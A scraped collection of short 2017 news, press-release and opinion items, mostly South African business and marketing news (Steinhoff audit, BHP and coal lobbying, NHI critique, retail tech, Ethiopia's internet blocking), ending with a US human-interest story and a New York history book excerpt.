Talent and tools are the two things we sell. Its the dynamic infusion of these that gives life to ideas; ideas that make a difference to peoples lives and our clients bottom lines.

We continually need to review our strategic and marketing tools, alongside our talent pool, to ensure that our work is up there with the best and delivers the ideal results for growing both our clients businesses as well as our own.

Theres no doubt your agency has made its mark on the local landscape. Talk us through your aims for the coming year. Theres no doubt your agency has made its mark on the local landscape. Talk us through your aims for the coming year.

While we are very young, were driven by competing with the best, and when we pitch, we pride ourselves on the fact that were going head to head with big network agencies or those who have been around for longer than 10 years. This is a testament to both the type of talent and clients we have been able to attract to House of Brave.

We would like to build on this in 2018, ensuring that we grow at a rate that is right for the business  which essentially means we will continue investing in areas that are growing, like digital and PR; and that we seek opportunities that stretch our capabilities so we can effectively deliver return on investment, ideas, insight and innovation.

Lots to look forward to from 2018. Click here for more on House of Brave, and visit their Twitter and Facebook feeds for the latest updates.
Unilever South Africa has voluntarily withdrawn a television commercial that promotes soap as a germ-fighting product that can be used to treat a sick person.

Image credit: jackmac34 - Pixabay

Reckitt Benckiser, a business competitor, lodged a complaint about the advert with the South African Advertising Authority.

In the advert, a coughing boy and his mother consult a man dressed in a white coat who resembles a doctor. "He's unwell again," the mother says.

"Next time, bathe him with silver," the man says.

Lifebuoy Activ Silver Formula soap is then described as providing protection from stronger germs.

Reckitt Benckiser argued that the soap was a cosmetic product but the emphasis was on its claimed healing or medicinal properties. This was misleading.

Source: Herald
The yet-to-be-implemented National Health Insurance (NHI) system is based on seemingly noble plan to ensure all South Africans are provided with essential quality healthcare, regardless of who they are, poor or rich.

Chris Hattingh, researcher at the Free Market Foundation

Its premise is that the need of one person gives them the right to something someone else must produce or purchase for them on their behalf: healthcare. Enforced care between people is not noble.

While the premise of the NHI is devoid of moral grounding, its practical effects will mean that medical innovation will be stifled, healthcare costs will increase and those who are poorer will have no alternative but to go to poor-performing, ill-equipped facilities for care  they will be directed to do so. Whenever the government takes control of a sector or industry, costs rise and innovation is stifled. Resources will become more strained, and then it will be up to the state to decide who receives what level of healthcare.

What better way to get a few votes than to promise people that their healthcare needs will be looked after, at no cost to them? Government continues to ignore the warning signs  the perilous state of the economy, low growth and massive unemployment. The NHI will add yet another notch on the expenditure side of the national budget.

Right to healthcare

The Constitution of South Africa enshrines your right to access to healthcare. Does this right place a moral obligation on someone else to give up what they have for you? Does this right over ride another persons right to use his property, his wealth, his life as he deems best? The right to access to healthcare, stipulated in the Constitution could have a meaning other than what is generally ascribed. It could mean that government must not adopt any policy or take any action that interferes with your right to access the health care of your choice. The standard of protecting individual rights ought to be the standard by which we judge any new government initiative, not a shallow appeal to an authority. You cannot have a right to what someone else has produced.

On the Department of Healths website, we are told that the NHI will offer all South Africans and legal residents access to a defined package of comprehensive health services. Are the services defined? No, this is left blank. Are we told how cases will be prioritised so that when Peter needs an expensive medical treatment but Paul claims that his suffering is greater, whose treatment will be provided first? Again, this is a blank.

Who funds everything the government does? We do. Thus there has never been, nor can there ever be, anything such as free health care. Someone has to build the hospitals and someone has to perform the surgeries, and while government may be seen to be providing these things, it is, in actual fact, the countrys people who are, because they are the ones paying for it.

We will all suffer equally

The standard of morality in anything should be the individual and his right to his own life. Anything that intrudes upon that must be resisted because every transgression and atrocity will eventuate when we abandon that right. All the elements involved in health care have to be produced by someone  its political currency right now does not mean that we should just throw individual rights out of the window.

The altruist in you can be as strong as possible. The Department of Health and indeed the entire government may well contain the worlds next Mother Teresa, but wanting people to care for each other becomes morally defunct when you use government to enforce that care. Charity at the point of a gun is not charity. As soon as anyone, including the state, uses force to compel another person to give up their resources, we are no longer in the realm of what can be considered moral.

If South Africans believe that altruism, that placing another persons needs above your own is the standard of morality, then it ought to be done voluntarily  government force negates any possible claim to morality. As the state gains more control of our healthcare, NHI and beyond, we will all suffer equally.
Primedia Broadcasting Cape Town has appointed Christine Ince as agency account executive, effective 5 January 2018. Ince has played a formidable part of the direct team at Primedia Broadcasting working on top clients such as Canal Walk and Simply Asia.

Christine Ince

Ince is also well known in the Primedia Group business having worked for Primedia Instore as an agency sales representative for several years before moving to broadcasting in 2015.

"Christine will be combining her experience and relationships with agency clients and couple this with her direct sales prowess to support our commercial strategy for our media agency clients, said Omesh Authar, Sales Manager Primedia Broadcasting Cape Town.

Authar added: Christine joins a top team of agency executives including Luke Jeftha who has been with the business for 15 years and Lizette Du Preez a radio sales veteran. Agency clients can look forward to working with this powerhouse trio on creative solutions to not only drive awareness, but deliver ROI with our premium audiences."

Christine can be contacted on:

az.oc.aidemirp@ienitsirhc

021 4464893




The German regulatory authority for auditors has no direct legal competence to investigate Deloitte's handling of the financial statements of the international retail holding company Steinhoff International Holdings.

The chief executive director of the German authority, Ralf Bose, said in a letter to DA finance spokesman David Maynier since Steinhoff International Holdings was incorporated in the Netherlands, its auditor was Deloitte in Amsterdam.

Bose's letter was in reply to a request by Maynier that the German regulator, Abschlusspruferaufsichtsstelle beim Bundesamt fur Wirtschaft und Ausfuhrkontrolle, investigate the role of Deloitte in the audit of Steinhoff's financial statements.

Steinhoff was established in Germany in 1964 before it acquired assets in SA. It moved its primary listing to the Frankfurt Stock Exchange in December 2015, and founded a new Dutch holding company based in Amsterdam. The management remained in SA.

"We would like to point out that in the current regulatory framework we have no direct legal competence regarding the investigation of the audit firm in question," Bose said. He referred Maynier to the Dutch Authority for the Financial Markets.

Independent Regulatory Board for Auditors (Irba) CEO Bernard Agulhas has initiated an investigation into Deloitte SA, which audited Steinhoff International Holdings following the allegations of accounting irregularities that led to the collapse of the group's share price and the resignation of former CEO Markus Jooste.

Agulhas said Irba would look into the audits for the 2014, 2015 and 2016 financial years.

He would engage with the audit regulators in Germany and the Netherlands.

Maynier said that the "ground zero" of an investigation into Deloitte in the Netherlands rested with foreign regulators.

Source: Business Day
SYDNEY - The world's biggest miner BHP said it would leave the World Coal Association and review its membership of the US Chamber of Commerce to show support for action against climate change.

The Anglo-Australian giant has been reviewing its industry group memberships to see if their stances align with its view that climate change must be tackled through emissions reductions and the use of renewable energy.

A 22-page report released Tuesday found that the organisations as well as the Minerals Council of Australia held different positions from BHP, which derived just under 20% of its total revenue from coal in the year ended June 2017.

BHP's chief external affairs officer Geoff Healy said the report demonstrated the firm's support for action on climate change and commitment to transparency.

"While we won't always agree with our industry associations, we will continue to call out material differences where they exist and we will take action where necessary, as we have done today," he said in a statement.

The miner said it was making a preliminary decision to part ways with the World Coal Association (WCA), which would be reviewed by next March.

The global lobby group had favoured the dumping of a clean energy target, which supports investment in renewables in Australia, since it preferred the use of cleaner coal technologies instead.

In contrast, BHP said its policy was to tackle climate change through encouraging the use of all technologies, rather than artificially favouring one -- such as cleaner coal -- over renewable energy.

BHP said it also disagreed with the US Chamber of Commerce's rejection of the Paris Agreement and a carbon-pricing policy, and would decide by March whether to leave the organisation.

"Emissions reductions are necessary to mitigate climate change," the report said, outlining BHP's stance in support of the Paris pact on cutting emissions.

"An effective global framework to reduce emissions should use a portfolio of complementary measures, including a price signal on carbon."

The Paris deal was sealed under US President Barack Obama, but his successor and climate sceptic Donald Trump pulled out of it in June.

The miner said its membership of the Minerals Council of Australia remnains beneficial. But it threatened to quit the council unless it stopped lobbying for coal.

Brynn O'Brien, executive director of the Australasian Centre for Corporate Responsibility, said BHP's decision to cut ties with the WCA "is a seismic shift in the world of anti-climate lobbying".

"It is an emphatic market signal that the era of aggressive anti-climate lobbying is no longer acceptable," O'Brien said in a statement.

The decision to exit the WCA came as some governments look to move away from coal-fired power, a key driver of global warming and air pollution.

Global demand for the fossil fuel is forecast to remain flat between 2017 and 2022, resulting in a "decade of stagnation for coal consumption", the International Energy Agency said Monday.

Rio Tinto, the world's second-largest miner, in September completed the sale of most of its Australian coal assets to China-backed Yancoal.

Rio's divestment drive is expected to lead to a complete exit from the coal sector.
The final Africa Progress Panel report, Making progress towards attaining the Sustainable Development Goals in Africa , calls for bold action in ensuring future Africans have a fair chance of leading healthy, prosperous and fulfilling lives.

The report draws from the insights cultivated over the APPs decade of work (2007-2017), outlining the key opportunities and challenges Africa faces as it strives to realise the Sustainable Development Goals, and create long-term equitable and sustainable prosperity. It presents a bold agenda for African progress, to be taken forward by leaders on the continent and abroad to accelerate Africas transformation in the coming decades.

After ten very active years, the Africa Progress Panel (APP) will be ceasing its activities at the end of 2017. However, we are convinced that the spirit of our work must continue, said Kofi Annan, chair of the panel.

New entity formed from 2018

He said that the APPs work will be taken forward from 2018 by a new entity, provisionally named the Africa Progress Group, which is to be established by panel member, and former Nigerian president, Olusegun Obasanjo. The new entity, with operational headquarters at the Centre for Human Security and Dialogue of the Olusegun Obasanjo Presidential Library in Abeokuta, Nigeria, will seek to create a network of robust regional and international partnerships focused on pushing for the implementation of the recommendations the APP has made over the years in its Africa Progress reports and policy statements.

Three core priorities for action are highlighted in the final panel report:

Mobilise sufficient financial resources fast for Africas 'green' and 'blue' (agriculture and fisheries sector) revolutions,

Rapidly boost investment in Africas energy and transport infrastructure, and

Fight against illicit financial activities and the mismanagement of Africas resources.

The majority of Africas poor continue to live and work in rural areas, predominantly as smallholder farmers, whilst millions depend on the ocean for their protein and livelihoods. The absence of flourishing agricultural and fishing industries risks excluding the majority of Africans from the rising tide of prosperity.

Zero tolerance for corruption

More than 600-million Africans still do not have access to electricity, and the number is set to grow in the coming years. In addition to effectively addressing the climate change challenge, Africa must also proactively rethink the relationship between energy and development, and swiftly leapfrog to a new era of low-carbon, efficient, modern energy systems that provide affordable electricity to all Africans. The panel also emphasises that a culture of accountability, with zero tolerance for corruption at all levels, supported by transparent institutions, especially with regards to financial activities and tax regimes, will also be fundamental to achieving progressive change and positive transformation on the continent.

Additionally, President Obasanjo stresses the importance of ensuring gender equality as soon as possible. Africas future is in the hands of women. Equal education for girls, at all three education levels, is the critical issue, he said.

Reaffirming the APPs recognition of the hard work that lies ahead, the final Africa Progress Panel report concludes thus: We have seen Africa transform over the past decade, and our work has left us with an unshakeable hope for its future. We also know, however, that this transformation has required hard work, creativity and courage. This will continue to be vital in the coming years, for much remains to be done.
The traditional property investment cycle has dramatically changed since the last property boom a decade ago. The days of buying property, benefiting from rental increases and the associated yield compression and then selling off at a profit after five or six years is no longer sustainable. Experts in the field now maintain that the best way to make money on a property investment is with a sound business model behind the property, requiring active participation rather than the traditional passive investment mentality.

Gary Palmer, CEO, Paragon Lending Solutions

Previously, landlords took an arms length approach, often pushing for ten-year leases, with little or no value or incentives added. The successful property investments are now often underpinned by a hands-on, managed business model. These include offerings such as short-term office rentals including boardroom and Wi-Fi facilities, storage services, student accommodation, and retirement villages offering managed healthcare facilities.

The move reflects the shift in both lifestyle and business attitudes as younger generations make their influence felt.

Customer centricity means understanding younger generations

Millennials and Generation Z are making up an increasingly large proportion of our workforce. The personality traits of the different generations are now a hot topic for employers looking to attract and retain younger staff members. In addition, these younger generations are more likely to join the startup economy and, for them, having attractive office and living spaces, which cater to their needs with value-added services included, is highly prized.

In this regard, the demand for co-working office space is understandably growing rapidly. An article by Alex Kopicki, CEO of co-working company Kinglet, puts the growth into perspective: The number of co-working facilities across the globe has nearly doubled every year for the past five years. Small Business Labs projects that more than 12,000 global co-working spaces will exist by 2018 with over one million members.

While South Africa is slightly behind international trends, we are gaining momentum. Local entrepreneurs may not want to pay for a monthly rental, but realise the benefit of having a place to engage with their peers, as well as conduct meetings in a professional and serviced space. Regions, like the Western Cape, where there is a high density of independent consultants, and tech startups has seen a significant uptick in demand for co-working and short-term leased space, making this a hot investment area for many.

The move towards short-term leases is also a reflection of how businesses want to engage differently.

Low risk and everything-as-a-service is the way of the future

The growing move towards digital businesses, rather than traditional, physical offerings is also impacting what customers want from their property offerings.

A good example of this is how insurance has shifted, where customers can customise their insurance exactly as needed. This includes being able to insure laptops and cellphones just for the day if you know you will be in a high-risk area. Even industrial businesses are moving towards the digital economy mindset. Some large building managers are buying their compressed air for air-conditioning by the litre from the manufacturers without carrying any of the capital overheads of owning the machines, or operational hassle of maintenance costs.

This is no different in the storage world. Companies offering hubs where businesses can have office space, storage space and even personal space are taking off. What is more interesting is that they dont lock people into long-term leases. Month-by-month leases mean people can upscale and downsize, as they need. It also means that by optimising the space into smaller units, with additional services for which customers are willing to pay a premium, property owners can increase their rate per square metre as well as yields.

Meeting the changing needs of customers

This new construct is entirely based on offering a customer-centric business model, where property owners form a real, working relationship with their tenants and shift and add new services based on the changing needs of their customer.

For property investors, the challenge is to find a finance partner who will not only base their decision on the resale value of the property, but also look at the underlying business case being put forward. In this instance, it becomes vital to work with a lending solutions provider who has the ability to understand the vision and opportunity of the investment as a whole, and which will be able to structure a deal around this. Whats more, by working with an independent lending partner, investors will benefit from the vast network of institutions and other investors who will take a similar view of the deal on the table.

Old-school property investment is not relevant any longer. The new success stories will come from investors who adapt to the needs of the new way of doing business and the needs of the younger generations. This will require a financial partner who understands this and who can help realise that vision.
If I were to ask you how happy your clients are with your business' performance, could you give an accurate answer? Could you tell me how happy they are with the service you are delivering today or would your answer likely be based on a report filled with month-old data?

Alan Turnley-Jones

The truth is that dealing with outdated data around client satisfaction and systems health has always been something of a challenge in the services world.

Until now.

A feat for AI development in South Africa, Dimension Data is successfully using an intelligent system that revolutionises our approach to both client and employee satisfaction. The ground-breaking services ecosystem, which is called Feebee, continuously learns, adapts and acts autonomously by collecting and analysing key service, computer asset, configuration and client feedback data. This data is then combined to formulate visually immersive and interactive insights.

Basically, Feebee provides feedback in real-time; so we know how our clients feel, how their machines are performing and how we can make their experience better.

Home-grown Feebee is a world-first

As a system, Feebee is so unique that when the Technology Services Industry Association (TSIA) conducted a global assessment of Dimension Data between June and July, they rated the system as a differentiated practice. TSIA is of the opinion that it empowers the right people to make the right decisions at the right time.

 Jakub Jirsak via www.123RF.com

So while globally Gartner is predicting that the use of AI to reinvent customer experience will be the primary driver of digital initiatives through to 2025, South Africa is already successfully using AI to promote happy clients, happy employees and healthy systems.

Issues are addressed quickly

Feebee is unique because its immediate. Clients have a real-time representation of their systems which they can carry on their phone or tablet  they are literally able to view all of the elements in their IT eco-system anytime, anywhere, anyhow.

But beyond this, its what we are able to do with that real-time information which makes it so powerful. Because we can immediately identify machines which are not up-to-date with software and security patches, we can escalate requests for improvement to our engineers. This drastically reduces the time it takes to resolve potential issues.

Accurate feedback is generated instantly

And once weve resolved a service request, we send an e-mail to clients asking one simple question: did our service make you happy? Clients are then prompted to give feedback by clicking either a happy or sad emoticon to indicate their perception of our service. Each click is immediately recorded and displayed on our advanced analytics dashboard.

We then combine that data with compliance information so that if the client isnt happy we can determine why. Perhaps the engineer has done a good job, but the machine they are working on has too little memory. In other words, we are no longer looking at information in silos, but rather real-time to address problems.

And we find that in having made it so simple for clients to provide feedback, our response rate has jumped from 2% to 20%, double the industry average.

Clear value for clients

Most importantly, our clients are already witnessing the value which Feebee brings to their IT systems and services. Murray and Roberts finds that the tangible evidence provided by Feebee has enabled it to understand how well its IT services fit its organisation, enabling it to tailor those services to ensure the company delivers better value. Group IT Manager, Hilton Currie, says the ability to access verbatim feedback from users can be used to reconstruct the organisations services, ensuring that IT transitions from a cost centre to strategic partner.

Employees feel valued

Employees also receive instant feedback based on their performance. And assuming that both the client and the systems they service are happy, they get instant points which they can redeem for rewards like a cup of coffee or movie tickets. They can track their feedback on a points dashboard and are helped to identify areas for potential improvement.

Basically, we are drawing on gamification principles to help our employees feel valued while also making sure our clients feel appreciated.

And possibly the best thing about an intelligent ecosystem like Feebee is that it will grow and learn alongside our clients needs. As we identify new areas where it can add value, we will be able to evolve the ecosystem.
Taipei-born designer Natasha Jen is one of the leading lights of the visual communication world. She has been a Pentagram partner since 2012 and spearheads her own design practice, Njenworks, which covers a plethora of media genres including signage systems, environmental design and interactive graphics.

New York-based design guru, Natasha Jen.

Jens upbringing in Taiwan informs her work with a sense of humour and play as a graphic designer and teacher working in New York now. A graduate of the School of Visual Arts, Jen worked at Base Design during the early part of her career where she contributed to a number of brand campaigns and fashion identity projects.

She is the latest addition to Design Indabas speaker roster to take the stage in Cape Town next year. She has become an intellectual figure with a keen sense of why graphic design is perceived as such a vague subject by those who are not professional designers. Known for blurring the lines between curated museum work and retail brand spaces, Jen has collaborated with Nike, the Guggenheim Museum, Puma and MIT Architecture among many other organisations and universities. More recently, she has moved to the high profile start-up realm, having collaborated with Essential Products, IonQ, and Google.

The all-pervading nature of graphic design

She has earned awards from major design competitions and is frequently published in publications including Fast Company, Kinfolk Magazine, Print Magazine and Metropolis. She was a winner of Art Directors Clubs Young Guns 4, a competition for which she served as a judge afterwards in 2007, 2011, and 2017.

Eager to pass her acumen to the next crop of young creatives, Jen has served as Board of Directors of the New York Chapter of the American Institute of Graphic Arts from 2014 to 2017. She is a faculty member at the School of Visual Arts BFA Graphic Design Program and is a guest critic at Harvard Graduate School of Design, Yale University School of Art, Cooper Union, Rhode Island School of Design, and Maryland Institute College of Art.

In this interview with the One Club for Creativity, Jen explains the all-pervading nature of graphic design and the importance of knowing how it influences what we see and what we don't see.

Graphic design is like air

"Graphic design is like air. It's everywhere. It's on your phone, in your email, in your shopping bag. Its power is extremely significant right now in the digital age, specifically in terms of how we communicate," she says.

One of Jens most notable theories is her unique approach to the term design thinking, which she believes has become a lazy blanket term used by folks who dont engage with creative work critically. During her compelling 99U talk posted below, Jen lobbies for the Crit over the Post-It when it comes to moving the design conversation forward.
As the holiday shopping rush gets into full swing, South African retailers are increasingly looking to technology that they can use to improve their operations, better understand and engage with their customers - using both off- and online channels - and set themselves apart from the competition.

Anna Bizon via 123RF

While the industry has relied heavily on big seasonal sales to drive revenue and profitability over the course of the year, changing consumer behaviour and buying patterns means retailers are having to explore alternative methods convincing customers to buy their products and services.

This is especially true of millennials who are bombarded constantly by a variety of online advertising and emails with promotional offers or discount coupons, and have several online stores to choose from. In an era of instant gratification, they are not going to wait for a sale when they can get what they are looking for from a competitors site for less, and sooner. Add to this the regular occurrence of local online stores crashing due to high traffic volumes on these sale days, such as Black Friday recently.

On a positive note, a research report titled Can Virtual Experiences Replace Reality? ranks South African brands as being the most confident in their ability to spot new trends in customer behaviour ahead of their counterparts from the UK, France and the Netherlands. Spotting trends and capitalising on them are two different things however, and this is where retailers are turning to innovative technologies to make the difference.

Engaging digital experiences

Mobile surpassed the desktop with 51.3% of digital traffic worldwide in 2016, and retailers need to have a comprehensive digital presence in order to stay relevant. This is especially the case in developing markets, including in Africa, where mobile devices are their primary means of access to the internet.

While online retail in South African has grown steadily over the years, with most retailers having created an online presence, the key challenges that remain include mobile friendliness and a lack of customisation of the online customer experience.

Customers are doing more research online before making a purchasing decision, even while in store, and brands need to ensure that they are able to capitalise on this initial interest. Apart from more information on products or services, a brands website or application should also give users the ability to engage in real-time conversations to resolve any queries and further persuade the customer to buy.

While the majority of South African retailers who provide this online engagement layer have traditionally used solutions such as WebRTC - with a human operator at the other end - to drive online conversation, the adoption of intelligent chatbots is set to shake up the landscape. This not only includes chatbots for customer service, but also to drive sales.

The report reveals that the use of emerging technologies is set to surge by 2020, with 80% of brands expected to serve customers through chatbots and 78% to provide customer experiences through virtual reality. The same research ranks South African companies last however for the adoption of chatbots (with only 30% of respondents using them) suggesting that there is plenty of room for growth in this area.

Increased personalisation

While South African retailers are sitting on huge volumes of data about their customers, many are still not sure what to make of it all. Thankfully, improvements in connectivity and advances in cloud computing mean that they can now turn to technologies such as artificial intelligence to learn more about their customers, and quickly identify shifting industry trends.

With the right algorithms, customers are presented with better product recommendations, which take into account their buying history and spending patterns. By considering unique tastes and preferences, customers are shown products that they are more likely to be interested in, while the retailer stands to benefit from increased sales.

Armed with this data, retailers can also overhaul the way in which they manage their sales and promotions: rather than a one-size fits all, they can provide different levels of savings, promotions that are exclusive to actively engaged shoppers and even event invitations for VIP loyalty members.

Even email marketing can be transformed from a blanket approach that sends out the same discount coupons to a companys entire customer database, to one where data and AI is used to provide highly-personalised offers to customers that will result in a higher chance of a sale being made.

A smarter in-store experience

Traditional brick and mortar stores are not going disappear anytime, and taking an omni-channel approach means that they still have a role to play for retailers - they will just have to change the way in which they operate, by offering an in-store experience that cannot be replicated online.

Brands can use smart stores to meld the digital and physical world, enabling shoppers to browse and buy online, but then pick up their purchases in store. Shoppers can be linked to their online profiles through technologies such as bluetooth or near-field communications, and have personalised offers or loyalty rewards instantly sent to them.

This is one area where South African retailers are lagging behind; while local efforts have primarily focused on loyalty cards and online shopping experiences, one of the large local retail outlets has been looking at a total revamp of its in-store shopping experience. Once one brand takes the plunge and provides customers with a full in-store experience  likely only by 2020  the others will have to follow in order to remain competitive.
We as humans are in the best possible position we can be; the internet.

Image credit: Kaboompics // Karolina via Pexels

I am fascinated by the power of this tool. The more I become practical about it, the more this realisation becomes tangible. I am beginning to see and experience that there is no way one can do business without utilising social media. You can try and reach your audiences in multiple ways, but it is becoming apparent that social media is the modern day or better version of door-to-door sales approach.

People are closer and more connected than ever before. Which means that the barriers of time and distance do not apply. The ability to connect to each other and be intimate about our feelings creates an environment where there is trust, and I believe that this (trust) absolves the "seller" from feeling like a "cold seller."

Here is the truth about social media; if you are in business, this is a sales tool. This may sound like an obvious statement, "like of course, everybody knows that." Everybody knows, but not everybody implements.

The beauty of this article is that I am not talking theory or quoting some textbook or blog or other articles. I am talking about something I did. It's practically incredible.

social media is the modern day or better version of door-to-door sales approach.

Generating business leads through Facebook

A young businessman by the name of Tshepo Mohlala; who is the founder of a denim company, Tshepo The Jean Maker, is on a mission to sell 1,000 pairs of jeans in 60 days, #1000JeansIn60Days. This would be an average of about 16 to 17 pairs of jeans sold per day, for 60 days. I think the campaign officially kicks off next year, as he is just seeding the idea to get buy-in from people this side of the year.

In support of his initiative, I shared a post on Facebook where I explained his vision and goal to my network and asked them to share the post as well. To date, at the time of this article being submitted for publishing, the post was shared nineteen times and there have already been four leads so far. Three are my friends on Facebook and are interested in buying jeans from him and the fourth is someone outside of my network (we are not friends on Facebook). These are people asking questions, requesting more information and showing general interest.

What started as just a post to inform, has turned into potentially four completed sales. This is just from Facebook. No effort into Twitter and Instagram yet. The post is organic with no funds behind to promote it.

Below are conversations that took place:

(Original post by Bogosi Motshegwa in support of #1000JeansIn60Days)

(Potential buyer one, Meme)

(Potential buyer two, Princess)

(Potential buyer three, Sipho)

(Potential buyer four, Malaiza)

This is just a post that was shared on my timeline and shared multiple times. All it cost was time and effort. This isn't my campaign, I'm just helping by deploying my energy and belief into the campaign.

Selling on Facebook takes time and effort

Unfortunately, this is something that most digital or social media agencies and companies dont have the luxury of.

All it cost me was time and effort, effort in the form of responding to peoples questions and tagging some people. By nature, Facebook is a long-format conversational platform, and by applying that principle, actual transactions could happen. Its now up to Tshepo The Jean Maker to close the deals.

We all know that organic posts have a stifled reach, especially when the desire is to reach as many people as possible. With that said, I guess the biggest learning for me is that Facebook, and I am quite certain that Instagram more so than Twitter, can be used to close sales. I think this will appeal more to start-ups and SMMEs than big businesses. The trick is to do it yourself. Of course, it helps to have systems in place that enable for seamless online transactions, but having done this exercise, the nuanced success is in the conversations and the story behind the sale.

The #1000JeansIn60Days campaign is not just a sales pitch or campaign premised on solely closing the deal. It is a story of a young and ambitious entrepreneur who has set a goal and a vision. In South Africa, I am yet to come across denim brand that has an African name. I suppose the story is pregnant with pride and inspiration. It is more than just a sale.

Learnings for businesses

Big businesses should ask themselves how better or clever they can and should be to fully leverage the power of social media. Whilst Facebook advertising provides reach and frequency, what else can brands do that is creative that will provide depth and resonance?

Maybe it isnt only about scale as we have always thought it to be. Maybe its about connecting and making sense to a few people who will buy into the idea, and in turn, share with their networks (and Im not talking influencers). Maybe its not just about sponsored ads, but also resonating content.

Can brands deploy some creative prowess into their creative content to ensure that they close sales on Facebook or Instagram? And Im not talking about simply embedding a link that takes people to a click to buy page, but rather, immersing the brand deeply within the format of the platform? Getting intimate with people?

Apart from what Facebook says is best practice, I think brands and creative teams should put in the extra thought in how they can best behave on the platform. This is where empathy and being human comes in. Machine learning and AI can enable for automated responses and conversations, but what people really need is the human element. To hear a story. Whats your story? The more the means through which we communicate become complex, the simplifier will always be empathy.

In closing, here is the math of what I did in support of Tshepo The Jean Makers dream (at the time of writing the article):

Posts: 1

Sponsored: 0

Likes: 21

Shares: 20 times (in less than 24 hours)

Comments: Many

Sales leads: 4

Whilst this may be more relevant to small businesses, I think the principles are universal for all businesses. I hope your efforts for 2018 are inspired.
Deputy President Cyril Ramaphosa assuming leadership of the ANC will be nothing less than a direct cardiac adrenaline shot to business confidence, both nationally and globally. It's the best possible outcome for South Africa; the spark we've needed to turn the tide of economic decline and to prevent the country from becoming a permanent feature on ratings agencies' junk lists.

A quick glance at Ramaphosas CV shows hes the right person for the job. He boasts vast business experience in his own right, aside from his service on the boards of some of South Africas largest corporates.

Ramaphosa has union credentials from nine years serving as general-secretary of the SA Union of Mineworkers and his political qualifications, including five years as secretary-general of the ANC, are unmatched. He is therefore unquestionably the one person who has the capability to unite our fractured society and economy.

Independent wealth

Perhaps most crucially, though, his vast independent wealth will almost certainly put paid to any temptation to sell political favours.

Leading the ANC puts Ramaphosa in the position of potential president-in-waiting and governing a country is like running a vast business enterprise  but on steroids.

The bottom line is both require the same experience and credentials in their leaders, especially in emerging economies such as ours where the budget spend on social is so high and job creation is essential to the long-term success of South Africa Pty Ltd.

Thats why the ANCs new leaders should seriously apply their minds to whether its in the best interests of the country for Jacob Zuma to remain in the Presidency until 2019, especially in light of the two court judgements against him last week relating to the State of Capture report.

Strengthened investor confidence

The property market in 2018 will show swift and significant improvement on the back of Ramaphosas election, because the currency will strengthen and investor confidence will grow.

Positive sentiment will drive the economy, which as a whole has been immobilised for months waiting for this election process. With this result we can now see light at the end of the tunnel, and for the first time in ages it isnt an oncoming train!
The Ethiopian government has partially blocked internet access in the country following the spread of violence across the country. According to a report by Quartz, citizens have been unable to reliably reach social media platforms such as Facebook, Twitter, and YouTube since Tuesday, 12 December 2017.

 Elena Garder via 123RF

There has been unrest in the East African country were clashes between different ethnic groups in the Oromiya region has claimed the lives of 61 people. According to reports, the violence triggered revenge attacks by ethnic Oromos in another district, resulting in the killing of 32 Somalis who were being sheltered in the area following a previous round of violence.

Citizens can, however, access social media platforms via the use of Virtual Private Networks (VPN) connections. VPNs are networks set up for use by a limited number of individuals, such as employees of a company and are often encrypted for security. They can also be used to allow users to access the internet when it is restricted.

The government has shut down the internet as well as blocked social media sites before, following anti-government protests. Since November 2015, when protests against the marginalisation and persecution of the Oromos and Amharas rocked the country, the government cut off connections either in specific regions or throughout the country.

The government has justified such action in the past as a response to unverified reports and rumours, noting that social media becomes flooded with unconfirmed claims and misinformation when violence erupts.

Ethiopias sole ISP, Ethio Telecom, has almost full control over internet access in the country. To block traffic to and from certain websites, or even shut down access altogether, the government needs only to coordinate with Ethio Telecom, a state-owned company.
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Design Pics/Thinkstock(ASHLAND, Ohio) -- Nine-year-old Mikah Frye set aside his wish for an Xbox this Christmas to instead use the money to purchase blankets for a homeless shelter program, and on Dec. 16 he got a surprise from Microsoft.



The local Microsoft store invited Mikah in for a surprise Xbox after hearing about what he did to help his community in Ashland County, Ohio.



"They went all out for him," said Terry Young, Mikah's grandmother. "They had controllers and games. It was really nice."



At the beginning of November, Mikah did the math - $300 dollars for an Xbox could equal 30 blankets if they were priced at $10 each, said Terry Young, Mikah's grandmother.



"He told me he was worried about homeless people in the cold, so I said why don't you get some blankets," said Young, who then told him that he could give up a Christmas present this year to choose to buy blankets for people in need instead.



Since then, they have been collecting blankets to deliver to their local homeless program called Access through the Ashland Church Community Emergency Shelter Services, and now they've been able to donate more than 55 blankets with help from the community getting involved in Mikah's mission.



However, Mikah's choice to give to Access came from firsthand experience.



"A few years ago, we lost our home and we ended up needing help from Access," said Sara Brown, Mikah's mother. "He told me that he remembered not being able to keep the blanket they let him use."



Mikah wanted to give the families blankets to keep and take with them when they get new homes, said Young.



"Mikah has always been kind of different. He always thinks about other people," said Brown. "Even at school. My mom said that she was wondering why his lunch funds were going away and found out he was buying lunches for kids that couldn't get any."



The Access program serves 30 to 35 people a year, said Cathy Thiemens, the executive director of the Access program, and the program doesn't receive any government funding.



Thanks to Mikah, they'll be able to give everyone that comes through the program in the new year a blanket to keep.



"First person I gave one of his blankets to started crying, and she said, 'Oh my gosh, this is such an instrument of hope,'" Thiemens said, adding that Mikah also wrote a heartwarming note for the recipients of the blankets.



"He's an amazing kid," Thiemens said.

Copyright  2017, ABC Radio. All rights reserved.
If youre looking for some last many gifts for loved ones this year, may we suggest our book The Bowery Boys Adventures In Old New York? Find it in bookstores or order it from Amazon, Barnes and Noble or your independent bookstore.

Here are a couple holiday-themed excerpts from the book, situated alongside hundreds of other historical sites. Its a great book for those who have never been to New York City (but have a fascination with history) or those who love wandering through the streets.

Above: Preparing a Christmas tree market at West Street across from Pier 21, near Duane Street, 1910

THE FIRST CHRISTMAS TREE STAND Todayas cute little Washington Market Park sits on the spot of New Yorkas most important outdoor market of the nineteenthA century.

In the days before massA refrigeration and chain groceryA stores, Washington Market was theA place where New Yorkers came toA buy their meats and fresh produce.A First opened in 1812, the marketA offered many residents their firstA encounter with exotic food itemsA from across the country and aroundA the world. (Today a Whole Foods one block away provides much the same function, albeit with higher prices and gluten-free options.)

But this market wasnat just for edibles. In 1851 a woodsman named Mark Carr, living in the Catskill Mountains, chopped down a selection of fir and spruce trees, shoved them into two ox sleds, carted them over to Manhattan on a ferry, and set up shop in the market, paying one dollar for the privilege of selling hisA rather prickly merchandise. Holiday revelers were thrilled to be spared the journey out of town, and Carras entire stock of evergreens sold out within the day. No surprise then that other farmers jumped on this evergreen opportunity, and within a few years the open-air Christmas tree market was born. (Chambers and Greenwich Streets)

THE NEIGHBORHOOD OF CHELSEA  AT THE HEART OF CHRISTMAS

